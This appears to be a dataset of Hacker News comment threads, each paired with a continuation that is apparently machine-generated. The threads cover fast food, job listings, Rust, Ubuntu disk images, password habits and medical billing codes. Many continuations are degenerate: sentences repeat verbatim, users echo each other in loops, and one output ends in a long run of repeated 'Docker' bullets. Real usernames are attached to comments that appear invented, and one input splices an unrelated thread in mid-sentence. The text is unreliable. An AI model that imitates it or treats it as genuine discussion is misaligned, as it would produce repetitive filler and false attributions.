great.\nThey're just good.\n\nI've had better burgers at the Berkeley Bowl, and they're not cheap.\n\n------\njrockway\nI don't know if this is a good idea, but I've been ordering a \"Grand Slam\"\nbreakfast for years. It's a breakfast sandwich with", "input_text": " Hack:\n\nYou can order a side of bacon (4 strips) for about $3 or... order a Grand Slam\nBreakfast and make all 4 components be the bacon (2 strips each), giving you 8\nfor about $5, a saving of $0.125 per strip! Those savings sure add up during\nan all night coding/bacon tear.\n\n------\nAmericanOP\nNext time you're at Chipotle ask for half-and-half meat (e.g. half chicken\nhalf carne asada)- you usually wind up with way more protein than you normally\nwould since nobody wants to give you less than half a scoop (x2).\n\nI think I found my answer to the'successful hack of some (non-computer)\nsystem' question.\n\n~~~\ngeorgieporgie\nNow, _that_ could be considered a restaurant hack. Writing a blog post about\ndiscovering a well-documented'secret' (i.e. \"we want the general population\nto order quickly\") menu is not hacking. At all.\n\nAlso, I'm sorry to say that In-n-Out is simply not that good. There are\ncountless local, independents that serve a much better burger, and have a\nvariety of fresh, seasonal shakes.\n\n~~~\nrms\nI've found it to be true that In-n-Out isn't that good on an absolute scale,\nbut it's great for how cheap it is. I can definitely get a better grass fed\nbeef hamburger for $10 (or an even better one made from the ground lamb at the\nBerkeley Bowl for $8.99/pound) but haven't had a better _fast food_ burger\nthan In-n-Out.\n\n"} +{"output_text": " communication: we want to work with people who can explain their\nthoughts and ideas clearly. We want to work with people who can explain why\nthey\u2019re doing things the way they are. We want to work with people who can\nexplain why they\u2019re doing things the way they are.\n\n\u25e6 A passion for learning: we want to work with people who are passionate\nabout learning. We want to work with people who are passionate about\nlearning.\n\n\ufffd", "input_text": "estion infrastructure that manages all of our music, talk and podcast\ninfrastructure, encoding infrastructure as well as search and advanced catalog\nheuristics.\n\nData Science - Come work with our world class Data Science team on building\nthe future of music personalization. We are doing a ton of work with\ncollaborative filtering, matrix factorization, building neural networks with\nacoustical analysis and a ton of other new and exciting research.\n\n------\nRobin_Message\nFirefly Learning | Lead front-end developer, front and back end developers |\nLondon, UK | fireflylearning.com\n\nFirefly Learning is an award-winning EdTech company that works to bring\nteachers, parents and students together, enabling greater collaboration,\nintuitive workflows and rich resource creation, while saving teachers time.\nWe\u2019re used by hundreds of leading schools globally, including 8 of the top 10\nUK Independents, and we've just raised the largest every EdTech investment in\nthe UK.\n\nWe're looking for strengths like:\n\n\u25e6 Skill in web development: you\u2019ll have the skill to understand existing code\nand technical tradeoffs, and to help design new systems. You have a solid\nunderstanding of how web apps are built and how the whole stack from IP to\nReact fits together. You\u2019re aware of the state of the art of the industry, in\nthings such as the SOLID principles, the ports and adapters pattern, and the\nvarious agile methodologies.\n\n\u25e6 Balancing conflicting priorities: we want a product that is well engineered\nbut not over-engineered. We have existing bugs, a long feature list, and new\nprojects we\u2019d like to start. We have new technologies and techniques we want\nto make use of.\n\n\u25e6 Clear"} +{"output_text": " author's definition of \"success\" is.\n\nI'm not sure how much of the article is about the author's personal\nexperiences, and how much is about the author's opinions.\n\nI'm not sure how much of the article is about the author's personal\nexperiences, and how much is about the author's opinions.\n\n------\njedberg\n> I\u2019m not sure how much of the article is about the author\u2019s personal\n> experiences", "input_text": " service (seating, waitering, etc)\n\nIf restaurants don't evolve they will die yes\n\n------\nz3t4\nI'm a big fan of Turkey and Greece home made food. Where I live, one such\nmeal, and if I bring the family, would cost up to 10% of my monthly salary as\nan engineer with 20 years of experience. The chef at the restaurant earn more\nthen I do.\n\n------\ndrawkbox\nInequality is a big problem.\n\nIn the meantime, retail and restaurants are going to have to come up with a\ntransportation system for their workers. Time to helicopter in the help...\nthen shuttle to where they need to go.\n\nUntil there are robots that can do the work either remotely run by\nchefs/cooks/retail or removed entirely, there needs to be better\ntransportation systems to allow people to live elsewhere and work in the\nmetro/city if the metro/city is unwilling to fix the rent/housing problems.\n\n------\nMikeb85\n> When I set out to open a restaurant in San Francisco\u2019s vibrant restaurant\n> market, I thought I\u2019d employ all I\u2019ve learned from an MBA from a top school,\n> the rigor of an engineering education and a decade and a half launching and\n> managing some of the most successful businesses for Google and other tech\n> companies. Furthermore, I wasn\u2019t naive to think that I knew better than all\n> those who\u2019ve been tenured in the industry. I actively sought out the\n> mentorship of many titans who\u2019ve been generous with their time and knowledge\n> of the industry. So I opened Tawla, a restaurant in San Francisco\u2019s Mission\n> district.\n\nI'm curious what the"} +{"output_text": "-scale vehicle, these issues are less of a concern, but they are\nstill there.\n\n------\njedberg\nI'm curious how this compares to the Segway.\n\n~~~\njedberg\nI'm curious how this compares to the Segway.\n\n------\njedberg\nI'm curious how this compares to the Segway.\n\n~~~\njedberg\nI'm curious how this compares to the Segway.\n\n------\nj", "input_text": " Just use them on a couple of them to see how it operates.\n\n------\ntantalor\nHow well does this do on slopes?\n\n~~~\nneogodless\nFrom the product web site:\n\nWill Tertill get stuck?\n\nTertill uses four-wheel-drive. This helps Tertill move through soft soil,\nsand, and mulch, and also helps Tertill climb slopes. Its distinctive diagonal\nwheels make Tertill more stable on slopes and help it get past certain terrain\nchallenges. Tertill relies on several sensors and clever programming to keep\nout of trouble. To detect objects like the garden fence and big plants,\nTertill uses sensors similar to those found in many smart phones\u2014the lightest\ntouch is all it takes. To detect steep slopes, Tertill uses the same sort of\nsensor that tells your cell phone which way is up. Tertill can also sense if a\nmotor stops turning\u2014perhaps jammed by a rock\u2014so it can protect itself from\ndamage.\n\n~~~\nbluedino\nYou'd think it woudl use tank tracks\n\n~~~\ncr0sh\nTank tracks have problems at a small scale that aren't immediately apparent at\nfull scale.\n\nThe big one - especially for something \"in the dirt\" \\- is dirt/mud getting\nbetween the tracks and ground wheels/idlers. This can easily stop the drive\nsystem, requiring user maintenance. Then there's the issue with water rusting\nparts (shafts, screws, etc). Also, more moving parts equal more things to\nbreak. Finally, on a small scale, tracks have a tendency to be easily \"thrown\"\nfrom the wheels depending on how turning is accomplished and the terrain.\n\nOn a full"} +{"output_text": "\n,\n,\n,\n,\nPart D - Finally - I'm interested in any of you people who can see BOTH sides of the coin. If you started off as a programmer and then learned how to make stuff sexy and usable - what put you on that path? Where did you start learning? What were your major obstacles, and how did you overcome them?

Looking forward to hearing what everyone has to say.

Dan\n======\nolalonde\nI am myself a professional programmer that has some basic design skills, but\nI'll try to answer your question as well as I can.\n\nA - I'm pretty sure most people design the UX/UI before they start coding (at\nleast mock ups). If you have already coded all your backend, you might feel\nconstrained when designing the UI or might realize too late that you oversaw\nsome critical parts of your system. Let me illustrate:\n\nLet's say you are building a \"C.V. builder app\". You might start coding with\nthe assumption that the user has to be login to start building his C.V.\nHowever, if you imagine the UX first, you might realize that it would be nice\nto ask the user to register only once he wants to save his newly created C.V.\nThat simple detail might have a huge impact on your code base.\n\nB - Some resources & inspiration: ,"} +{"output_text": "'s like saying \"I'm going to use a game to send a message to my friend\".\n\n~~~\nnvrspyx\nI think the point is that the game is a way to get the brain to learn to\ncommunicate with the machine.\n\n~~~\nd--b\nI don't think so. The brain is not a computer. It's a biological system.\n\n~~~\nnvrspyx\nI think you're right. I think the point is", "input_text": " correspondence, you can position any other objects relative\nto either one, like surgical instruments with reflective markers or TMS\nsystems or whatever.\n\n~~~\nnvrspyx\nLooking at it again, you\u2019re right. That isn\u2019t Localite. I should\u2019ve said\nlocalization system instead. I\u2019m not familiar with Brainsight and I haven\u2019t\nbeen involved with the research using Localite in a couple of years, so I\nmissed that.\n\n------\nstupidcar\nThe Neuralink presentation a few days ago made the important point that the\nphysics of neurons makes it impossible to read and/or write their state with\nany kind of accuracy without getting very, very close to them.\n\nAs such, these kinds of completely non-invasive methods of interfacing with\nthe brain are a dead end. Barring breakthroughs in scanning technologies that\ncompletely upend basic laws of physics, you will always be limited to a low-\nbandwidth channel that only works by reading the crude, aggregate state of the\nwhole brain or a large area of it, and requires extensive training for\nparticipants to learn how to send basic signals.\n\nSince the limits here are hard physical ones, not ones that can be engineered\naround, there's no way for this to be gradually refined into a more useful\nsystem. It will ways be a hack. If we're going to produce high-bandwidth\nbrain-machine / brain-machine-brain interfaces that allow useful\ncollaboration, it's going to require getting inside the skull and getting up\nclose and personal with brain matter, whether we like it or not.\n\n------\nd--b\nThis is a little weird. Why would you use a Tetris like game for this? There\nis only one bit sent.\n\nIt"} +{"output_text": "aming fees.\n\n~~~\njrockway\n_I don't really see how using a 3G/LTE on the plane will be any better, if it's\nstill relying on the (presumably small, low powered) equipment on the plane\nand a satellite connection._\n\nIt's not. It's just a different way of getting the same thing.\n\n~~~\nwjoe\nI'm not sure I follow.\n\nThe 3G/LTE", "input_text": " the winning team.\n\n------\ngeorgecmu\nI would be perfectly happy with in-flight phone calls being expressly\nprohibited without any technical justification. Can you imagine being forced\nto spend 6 or more hours next to someone with a bad case of glossolalia?\n\n~~~\nnlh\nI have a feeling that enough people agree with you on this that regardless of\nthe legal / regulatory situation, a social framework is going to emerge that\npretty strongly discourages talking on the phone on a plane.\n\nEven today, if you talk for too long or too loudly on an Amtrak train or a\npublic bus, you'll get some pretty strong death stares from other passengers.\nMany will come right out and tell you to shut up.\n\nIf the rules fail us, peer pressure will step up :)\n\n------\nwjoe\nI'm not really sure how 3G/LTE is better than WiFi, at least in technology\nterms.\n\nI've had WiFi on one flight in Europe (London to Oslo with Norwegian\nAirlines), it was free to use for everyone on the flight. It was very slow and\nunreliable though, and I spent half of the hour long flight just trying to get\nthings to load, unsure if certain ports/sites were blocked or if it was just\nbeing slow.\n\nThat said, this problem is presumably from the connection between the WiFi\naccess point on the plane and the satellites. I don't really see how using a\n3G/LTE on the plane will be any better, if it's still relying on the\n(presumably small, low powered) equipment on the plane and a satellite\nconnection.\n\nSo I'm not convinced that this is an improvement over in flight WiFi, besides\na way for carriers to extract more ro"} +{"output_text": "-server-cloudimg-amd64.img\n virt-resize: /dev/sda1: cannot expand to a size of 2.2G\n \n\nI have tried to use the --force option, but that does not work.\n\nI have also tried to use the --force-mbr option, but that does not work.\n\nI have also tried to use the --force-gpt option, but that does not work.\n\nI", "input_text": " for example. _sigh_\n\n------\nKingEllis\nI have feedback on the Ubuntu 18.04 LTS Cloud Image that I am hoping reaches\nthe right ears.\n\nThere is something about the way the disk is partitioned that makes the use of\nvirt-resize no longer work (as it does for 16.04).\n\nSpecifically, I am referring to: [https://cloud-\nimages.ubuntu.com/bionic/20180124/bionic-serve...](https://cloud-\nimages.ubuntu.com/bionic/20180124/bionic-server-cloudimg-amd64.img)\n\nThe boot partion looks to be sda14 or sda15. But judging from the output of\nvirt-resize, it appears that although these are sda14/15, they appear in front\nof sda1. (When virt-resize is run on sda1, sda14 becomes sda1, sda15 becomes\nsda2, and sda1 is now the resized sda3, and grub is confused.\n\n \n \n $ virt-filesystems --long --parts --blkdevs -h -a bionic-server-cloudimg-amd64.img \n Name Type MBR Size Parent\n /dev/sda1 partition - 2.1G /dev/sda\n /dev/sda14 partition - 4.0M /dev/sda\n /dev/sda15 partition - 106M /dev/sda\n /dev/sda device - 2.2G -\n \n $ virt-resize --expand /dev/sda1 bionic"} +{"output_text": " has a price drop after release.\n\n~~~\nminimaxir\nI'm not sure if you're being sarcastic, but the price drop for Bioshock\nInfinite was _massive_.\n\n~~~\nbhouston\nI am not being sarcastic. I am being serious.\n\n------\njameshart\nI think the author is missing the point.\n\nThe author is saying that the game industry is in a state of flux, and that\nthe", "input_text": " talk about whether he has gone the\nright way). AAA development gets you some nice things (God Only Knows sung by\na barbershop quartet, for example) but comes with its own set of restrictions\n(you have to go for mass appeal) and when you want to make something smaller\nand more focused that doesn\u2019t appeal to everyone then there\u2019s lots to be said\nfor getting smaller.\n\n(During the last few years we have seen the middle fall out from game\ndevelopment, with mid-sized developers and publishers going under. It seems\nthat this gap is now filled from the bottom and the top, with former AAA\ndevelopers scaling down and successful indie developers \u2013 Jonathan Blow with\nThe Witness, Mike Bithell with Volume, \u2026 \u2013 scaling up.)\n\nThere is whole diverse and crazy world below AAA titles. Some of those games\nare awful, but some are awesome. There is lots that can be done. And lots of\ncool things that are done.\n\nWhy would you think of Candy Crush first? Especially the mention of the\nnarrative focus makes me think of many excellent (and successful!) recent\nindie titles that also had a strong narrative focus: Stanley Parable, Gone\nHome, Kentucky Route Zero, \u2026\n\nIt seems to me that Ken Levine has something like that in mind plus his own\ngame mechanics twist (the highly repayable part, whatever that means),\ncertainly not some free to play mobile only bullshit.\n\n------\nminimaxir\nThis is likely correlated with the absurd sales Bioshock Infinite received\nafter release. (Down from $60 to $20 less than 6 months after release). They\nprobably needed money.\n\n~~~\nbhouston\nRE: Quick price drop over 6 months.\n\nI think every game"} +{"output_text": "\n~~~\ndreish\nI'm not sure I understand your point. If a site is storing hashed passwords\nwith salts, you can't find out what the user's password is.\n\n~~~\nhbien\nIf a site is storing hashed passwords with salts, you can't find out what the\nuser's password is.\n\n~~~\ndreish\nI'm not sure I understand your point. If a site is storing hashed passwords\nwith salts,", "input_text": " of programs and services accept them. To say just\nhitting 'Alt Gr' can prevent any password breaker, I thought it was a pretty\ngood safety measure.\n\n------\nmynameishere\nIt's better to use 123456 at unimportant sites than re-using your e-trade\npassword. Simple good sense.\n\n------\nGeneralMaximus\nI have recently started generating all my passwords using a Markov chain\nscript I wrote in Python. They're much more secure and, since they sound very\nsimilar to English words, easier to remember than, say, &&364e7forty-two88()l.\n\n~~~\nquizbiz\nI started writing words backwards (among other things). Not as secure but I\ndon't hit myself when cookies expire.\n\n~~~\ndkokelley\nI've been a fan of geometric shapes on the keyboard and number pad.\n\n~~~\nbd\nI knew a guy that didn't even know his password explicitly, all was just a\npattern of finger movements stored in muscle memory.\n\n------\ntvchurch\n\"Don't forget God. System operators love to use God. It's that whole male ego\nthing.\"\n\n~~~\ndjahng\nHaha Hackers...and when you break into a computer system it goes all 3-D too\nright?\n\n------\nsnprbob86\nWhy aren't these sites storing salted hashes? Plain text passwords are bad\nnews...\n\n~~~\ndreish\nWhere did you get that impression? Not from the linked-to article, from my\nreading of it.\n\n~~~\nhbien\nIf a site is storing hashed passwords with salts, you generally don't know\nwhat the user's password is and you can't unhash them to find out.\n"} +{"output_text": "where people can be friends with people from all over the world, and where\npeople can be friends with people from their own country.\n\n~~~\njamesbritt\n\"I'd like to see a social network where a true \"global\" community can be\nformed, where people can be friends with people from all over the world, and\nwhere people can be friends with people from their own country.\"\n\nI'd like to see a social network where I can be friends with", "input_text": "Twitter.\n\n------\nStavrosK\nAs I said before, my only interaction with them is an email I sent them a\nwhile ago (more than a year ago), advising them to seize the opportunity to\ncreate a p2p framework for social applications to be built on top on, taking\ncare of permissions, friendlists, authentication, etc under the hood to allow\ndevelopers to build the fun stuff on top of that.\n\nThe response I got, six months later, was to the effect of a brief \"thank you\nfor your email, answers to some of your questions can be found in the FAQ\".\n\n~~~\nphilipn\nI think you are being way too harsh here. They obviously get a lot of emails,\nand they're being pulled in a lot of different directions (\"distributed social\nnetworking!\", \"privacy!\", \"a drop-in facebook replacement!\")\n\nMaybe they won't amount to much, but criticising them because they didn't\nrespond to your email is not fair.\n\n~~~\nStavrosK\nI'm not criticising the project, just detailing my account. I just wish they\nactually read my email, at least...\n\n------\nperfunctory\nWhat an abstract collection of words. This post doesn't contain a single\ntangible sentence.\n\n\"We are working on an outline of what we have learnt so far, and where we see\nDiaspora going in the next year.\"\n\nRight.\n\n------\nnextparadigms\nThey should take a look at how BitTorrent is trying to build a P2P social\nnetwork. Maybe they could get a few ideas from there and implement them. I'd\nlike to see a social network where a true \"global\" community can be formed,\n"} +{"output_text": "intended) problem for us, so we're going to do something about it.\"\n\n------\njhall1468\nI'm not sure I understand the point of this post. It seems to be saying that\nthey should have done something different, but they didn't.\n\n~~~\njoshstrange\nI think the point is that they didn't do anything different. They didn't\nrespond to the community, they didn't listen to the community, they didn't\n", "input_text": " is just an\nissue because at the moment these kinds of home automation are per-dominantly\n\"nerd\" territory while e-book readers are already mainstream.\n\n~~~\nfastball\nWhere is this magical place where I can find free hardware?\n\n~~~\nstefs\nTo understand the concept, you should think of \u201cfree\u201d as in \u201cfree speech,\u201d not\nas in \u201cfree beer\u201d.\n\n~~~\numanwizard\nGP's point still stands. Open hardware is very rare.\n\n------\nsismoc\nI won't be so quick to \"roll-back\" my decision to boycott their products.\n\n~~~\ngnulnx\nHey, give them some credit. They listened to their customers and responded\nvery quickly.\n\n~~~\nsspiff\nExactly this. Their management / decision makers aren't familiar with the\nhacker mindset, but they responded to public criticism quickly by acquiescing\nto the demands. I don't so anything bad about this.\n\nThey mad a public about face, admitting that their decision was not the right\none for their audience, and changed it. That's not easy to do for most people,\nlet alone companies.\n\n~~~\nlightbritefight\nThey didnt really admit the decision was bad for the audience. They said\n\"well, we were just looking out for you, and highly recommend you doing what\nwe want, but I guess you can do that too, but you shouldnt.\"\n\nThe tone is very much \"we did nothing wrong.\" I don't expect more, but I was\nhoping for it.\n\n~~~\njhall1468\nI disagree. The tone was more akin to \"This really doesn't impact _a lot_ of\nour customers, but the customers it did impact caused a significant\n(un"} +{"output_text": " I see with this is that it's a very narrow view of what\nsoftware development is.\n\nI've been in the industry for over 20 years and I've seen a lot of different\nkinds of software development.\n\nI've seen people who are very good at writing code, but they are not very good\nat designing software.\n\nI've seen people who are very good at designing software, but they are not\nvery good at writing code.\n\nI've", "input_text": " writing CRUD-like code.\n\nWe (as in, Headlight) deal with a lot of bootcamp grads and people who are\nentering tech later in life (which for tech, means 25+). It's shocking the\nnumber of them who are insanely adept at software development for the amount\nof experience they have and are completely overlooked because of any of the\nfollowing:\n\n* Their pedigree\n\n* Their experience given their age\n\n* Their program's focus on practical software development and not on more academic topics\n\nIt's really mind-boggling. It's great for us, because it's a totally\nunappreciated and under-served market. Still, I can't imagine how frustrating\nit is for those candidates. We're still new, but so far our clients'\nsatisfaction with our candidates has been nothing short of enthusiastically\npositive.\n\nAll that to say, you should really consider adjusting your hiring expectations\ndrastically. You're building a house. Why are you trying to hire a civil\nengineer, and not a contractor?\n\n~~~\ndavio\nMost corporate dev jobs can be effectively handled by someone who can reliably\nshow up and pull words from a database and display them on a screen.\n\n~~~\nmushishi\nYes but it's mind-boggling how complex you can get quite a straightforward\nsystem by just piling new requirement changes on top of old without\nmaintaining proper data-model in application, even if database is fine-ish,\nthis results in a monster that slows down the system and the development\nspeed.\n\nSo in principle, a lot of people can do it but only some do it while not\nmaking things more difficult for the next person.\n\n------\ndocker_up\nThe problem that"} +{"output_text": " think of any other language that would be better for\ngetting a game off the ground.\n\n~~~\ndoppp\nThanks for the link, I'll check it out.\n\n------\njamesfisher\nI'm not sure if this is a good thing or not, but I'm really enjoying the\nRust/Go/Go-like syntax.\n\n~~~\nsteveklabnik\nI'm not sure if this is a good thing or not, but", "input_text": " book from the main repository and use rust-lang/book as the new\n> official source, it's not totally clear yet which.\n\nAlso, no matter which of these two options we choose, we still plan to ship\nthe book inside installations of Rust for offline reading, and host the book\non docs.rust-lang.org.\n\n------\nsteveklabnik\nHi all! As always, happy to answer questions here.\n\n~~~\nkevinmgranger\nThe Rust Programming Language remains as one of the best introductions I've\nhad to a new programming language. I thank you for your work on it.\n\n~~~\nbluejekyll\nYes, and the work on the documentation in general. It's amazing. So many other\nyoung languages are crap in this area, even mature ones. I think the thing\nthat makes Rust amazing is that it's young, and yet well documented, making it\neasier to get started.\n\nCan't thank you enough, nice work.\n\n------\ndoppp\nHas anyone used Rust for game development? I know about the Piston engine but\nhas anyone successfully released a commercial game on Windows, Mac OS X and\nLinux with it or is it still pretty much an academic endeavour to make games\nin Rust?\n\n~~~\nrsaarelm\nI've been developing a hobby game engine and did a 7-day roguelike with it\nlast year:\n[https://github.com/rsaarelm/phage](https://github.com/rsaarelm/phage)\n\nI'd say it's about on par with C++, effort-wise. Big learning curve to get\nsomething as complex as a game off the ground, and you need to think about the\ndesign, but I can't"} +{"output_text": " manager.\n\nI also use a lot of open source software, and I use Linux for my servers.\n\n------\njamesjguthrie\nI'm a Linux user, but I'm a Windows user. I've been using Linux for a few\nyears now and I've been using Windows for a few years now. I've been using\nWindows for a few years now and I've been using Linux for a few years now.\n\nI've been using Linux for", "input_text": ". In case it matters,\nthe MBP is brand new top end. I run Ubuntu on an older Dell Precision, yet its\nstill what I prefer.\n\nSince you're already on Ubuntu, I'd stay with it.\n\nLinux is just great for development. 1.) I find the shortcuts on Linux more\nnatural (for me). 2.) I use a lot of open source software and everything I use\ntargets Linux. 3.) I find it easy to develop on the same OS that I deploy. 4.)\nI'm super used to Linux.\n\nAs for the Mac, the hardware casing is amazing...it's so thin and nice. As for\nRAM, CPU, its definitely very good, but not the highest end configuration on\nthe market.\n\n------\nloumf\nI am an iPhone dev primarily so I have to use OSX, which I am fine with.\n\nI also do webdev in Django and that's fine too, but sometimes OS X likes to\nplay with my python and mysql versions (especially on OS upgrades) -- since I\ndon't have to do this every day (or even every month), I often spend the first\nfew hours of a new task with it trying to figure out how to fix them.\n\nI haven't switched to using vagrant for all server dev, but if I had to do it\na lot, I would put my dev environment inside vagrant and isolate it from OS X.\nI deploy to Linux anyway, so there's no point in making it work on OS X.\n\n------\ninformatimago\nStay with Linux.\n\nIt's really a personnal question, and depends on your preferences on user\ninterface.\n\nFor example, I prefer the emacs user interface and I use emacs with ratpoison\nas window"} +{"output_text": "CR it, and send it to the user.\n\n~~~\njoshu\nI've been doing this for years.\n\n[http://www.flickr.com/photos/joshu/sets/72157629556905394/](http://www.flickr.com/photos/joshu/sets/72157629556905394/)\n\n~~~\nAnimats\nThat's a good start. The problem is that the distance", "input_text": " to retrieve them. I figured I needed cheap glasses until my insurance\nwould cover me again. I had an old prescription but it was over a year old. I\nlooked at Warby Parker, but they seem to require an actual prescription. So I\ntried Zenni Optical because all they need are the correction figures for each\nlens, they don't require an actual doctor signed document. Something I've\nalways felt was weird--its not like prescription drugs, and I can decide if\nthe glasses don't work, and a 18 month old prescription is better than no\nglasses.\n\nSo $35 shipped for glasses and frames, and they had a lot that were cheaper.\nThe seem to be very good quality, they seem to work better than lost pair (the\nprescription didn't have a pupillary distance, so I had to measure it. My eyes\nare pretty wide, and a lot of lenses can't accommodate my PD, so I wonder if\nthe optometrist just figured close enough for lenses with a lower max PD.)\nBefore this I had no idea how much markup was in the cost of a pair of\nglasses. Now I'll still get my eyes checked locally, but $30 glasses is better\nthan what I can get locally even after my insurance.\n\n~~~\nAnimats\nHere's a useful program someone in the HN/YC universe could write - something\nthat uses your computer or phone camera to measure your interpupillary\ndistance. This is a bit tricky to do yourself with a ruler and a mirror.\n\nJust have the user take a selfie while holding some object of known dimensions\non their forehead. Like a dollar bill. Find the eyes and pupils (OpenCV can do\nthat), find the reference object, calculate.\n\nThen take a picture of the prescription, O"} +{"output_text": "imgur.com/0X0X.jpg>\n\n------\njrockway\nI'm not sure I understand the point of this. It's a pretty cool hack, but\nthere's no way to use it.\n\n~~~\npieter\nIt's a hack to make a hack.\n\n------\njrockway\nI'm not sure I understand the point of this. It's a pretty cool hack, but\nthere's no way to use it.\n", "input_text": "Sweet! Thanks for posting this (an hour before the other submission that\nhijacked your link by pointing to page two, I might add).\n\nThe only bad thing is it was a bit deflating to see the thing disassembled\nwhile I'm still waiting for UPS's very slow (in subjective terms) delivery\ntoday.\n\n~~~\nalanthonyc\nI got a knock on the door a few minutes ago...it was the FedEx guy with my\niPad _dock._ Still no iPad.\n\n------\nnnutter\nGuess we can own it?\n\n------\nPopScreenTeam\nThat's cool. Very efficient assembly.\n\n------\nsahaj\n2GB of RAM was what impressed me the most. I was expecting 1GB at the most.\n\n~~~\npieter\nIt's 256MB, apparently. The article says 2Gb(256MB) per die, for a total of\n512MB, but tested it\nand it's 256MB. I'm not sure where iFixit gets the idea there would be two\ndies.\n\n------\nck2\nHow long do you think until someone accidentally shorts or punctures those\nmassive Li-Poly batteries.\n\nIsn't that battery type particularly prone to explosions (seriously!)\n\n~~~\nsnom370\nI guess that is one reason why the front display is made of quite thick glass\n(it seems) and the back is made of aluminum. You would need to give it quite a\nbeating in order to damage the batteries.\n\n------\npak\nIntriguing. Somebody secretly took apart the 3G model and found this:\n\n As a precaution, the German Air Force deployed its aircraft to ensure the\n> safety of the flight and its guests.\n\nDoes anyone still believe this bullshit? Clearly there's nothing that the\nfighter jets could do to ensure the safety of the flight/passengers - the most\nthey could do is to shoot the plane down in a safe area to avoid casualties\n_on the ground_, if it were e.g. controlled by terrorists.\n\nAnd the media/institutions wonder why people don't trust them...\n\n~~~\niSnow\nIt would be illegal in Germany to shoot down a hijacked airliner and ordering\nthe pilot to do so would be an illegitimate order the pilot would be forbidden\nfrom following. The most anyone could do would be the Minister of Defence of\nthe Chancellor talking directly to the pilot and telling her that they would\ntake the fall if her conscience allowed them to shoot down the plane. The\npilot would still face a trial with uncertain results.\n\nSo, please stop with the alternative facts and the conspiracy stuff. Not every\ncountry works like the US of A, unbelievably.\n\n~~~\nhubert123\n> It would be illegal in Germany to shoot down a hijacked airliner and\n> ordering the pilot to do so would be an illegitimate order the pilot would\n> be"} +{"output_text": " to the first\ncategory, and the more likely that the payer will pay the claim.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe article says that the coding system is \"a mess\". But the article doesn't\nsay what the mess is.\n\n~~~\nhga\nThe article is a bit of a mess, but it's not a mess of the sort that's\npreventing the system from working.\n", "input_text": " anyone would even\nsuggest that that level of specificity was even useful, never mind required,\nis bureaucratic madness.\n\nStep back from the tree and you can see the forest burning.\n\n~~~\njjm\nBelieve it or not, these codes are used to define contracts and aid in payment\nall the way from patient to broker.\n\n~~~\nhga\nSo, pretend I'm a doctor and tell me, will I get paid more for _S61.354D Open\nbite of right ring finger with damage to nail, subsequent encounter_\n\nOr _S61.355D Open bite of left ring finger with damage to nail, subsequent\nencounter_???\n\nAnd with such specificity, why include this code:\n\n _S61.359D: Open bite of unspecified finger with damage to nail, subsequent\nencounter_\n\nI'm assuming \"other finger\" is the one between your little and middle ones,\nand we'll all sleep easier knowing that, while not found with jhulla's search,\nyour left and right thumbs have not been neglected.\n\n~~~\ndragonwriter\nGenerally, you don't get paid an amount for a diagnosis, you get paid for the\nservices you bill.\n\nWhether a payer accepts that the specific services you billed for are\nmedically appropriate and thus pays them depends, often, on the diagnosis they\nare treating. (And, often, there are three possibilities: the payer pays the\nclaim directly, or the payer requires additional supporting documentation\nwhich is manually reviewed before making a decision, or the payer denies\npayment outright.)\n\nThe more detail diagnostic coding provides (and, for that matter, the more\ndetail _procedure_ coding provides), the more an automated system can move\ncases that would otherwise be in the manual review category"} +{"output_text": " the rest are good.\n\n~~~\ntoportyan\nI agree, but I think the point is that the \"ow zone\" is a zone that is hard to\nreach with your thumb, like corners of the screen.\n\nI think the point is that the \"ow zone\" is a zone that is hard to reach with\nyour thumb, like corners of the screen.\n\n~~~\ndr4g0n\nI think you're right, but I think the point", "input_text": " I'll take a look at the presentation now and get back\nto you - looks interesting.\n\nThanks for the kind words too, we really appreciate it.\n\n------\ngriffinheart\nFix the mobile version its incredibly broken. It seems when you scroll to the\ntestimonials some js kicks in and reloads the web page.\n\nOn a side note, great to see more Portuguese entrepreneurs :) if you wanna\nexpand to Japan give me a shout. While not being a student this is something i\nwould've used after i rented my empty apartment here.\n\n~~~\njimmygatz\nCheers for the heads-up, we'll fix that today.\n\nAre you Portuguese yourself? We're definitely looking to expand\ninternationally next year. Would be cool to get in touch.\n\n~~~\ngriffinheart\nYes i am, check my email on my user profile.\n\n------\ntimhargis\nBest article I've read on this that's free.\n\n[http://conversionxl.com/13Ways-\nConversionXL.pdf](http://conversionxl.com/13Ways-ConversionXL.pdf)\n\n \n\nA polite rant on mobile UX - toportyan\nhttp://blog.hipwerk.com/a-polite-rant-on-mobile-ux/\n\n======\ndr4g0n\n> The so-called \u201cow zone\u201d is a zone that is hard to reach with your thumb,\n> like corners of the screen.\n\nThe image that goes along with this point demonstrates the areas that are hard\nto reach for right-handed users, ignoring that ~10% of people are left-handed\nand have trouble reaching the opposite corners. Your design shouldn't assume\nthat two particular corners are bad and"} +{"output_text": " | New York, NY |\nFull-time | Onsite\n\nFuse Tools is a small, fast-growing, profitable, and well-funded startup\nbuilding a platform for the construction industry. We are looking for\nexperienced software engineers to join our team.\n\nWe are looking for a senior Javascript engineer to join our team. You will be\nresponsible for building the front-end of our web application. You will be\nworking with a small team of experienced engineers to build", "input_text": "-Engineer-\nmf-8535](https://zenmate.com/jobs/#DevOps-Automation-Engineer-mf-8535)\n\n _DevOps Automation Engineer_\n\nYour Tasks:\n\n \n \n - Maintain and guarantee the availability and performance of our global infrastructure platform (bare-metal and cloud)\n \n - Working together with our providers to solve issues and server provisioning\n \n - Architecting and implementing pragmatic and scalable solutions for new challenges\n \n - Implementing and maintaining automated health-checks and corresponding services to automate our server fleet and to make it more robust\n \n - Making sure that our development and deployment infrastructure is flexible, easy to management and easily to use\n \n - Working closely together with our developers to deploy new services and solve performance problems\n \n - Scaling applications for performance and reliability depending on type of workload\n \n - Automate deployment, provisioning, monitoring as much as possible, write supporting tools and services to manage our fleet of machines\n \n - Establish and maintain a clean documentation for all DevOps processes\n \n\nPlease apply at [https://zenmate.com/jobs](https://zenmate.com/jobs)\n\n------\nwklaynman\nJustworks Inc: New York City, NY - Fulltime - Onsite Only - Will relocate\nDirector of Security - Front-end Engineers - Software Engineers - Security\nEngineers - Product Designers - Product Managers - Marketing Managers and\nmore! [http://bit.ly/1NMwpCp](http://bit.ly/1NMwpCp) OR email\njobs@justworks.com\n\n------\nenalicho\nFuse Tools | Software Engineer, Senior Javascript Engineer"} +{"output_text": ":\n\n\\- Java\n\n\\- Python\n\n\\- C++\n\n\\- Javascript\n\n\\- HTML/CSS\n\n\\- SQL\n\n\\- Linux\n\n\\- Git\n\n\\- Docker\n\n\\- AWS\n\n\\- Docker\n\n\\- Kubernetes\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- 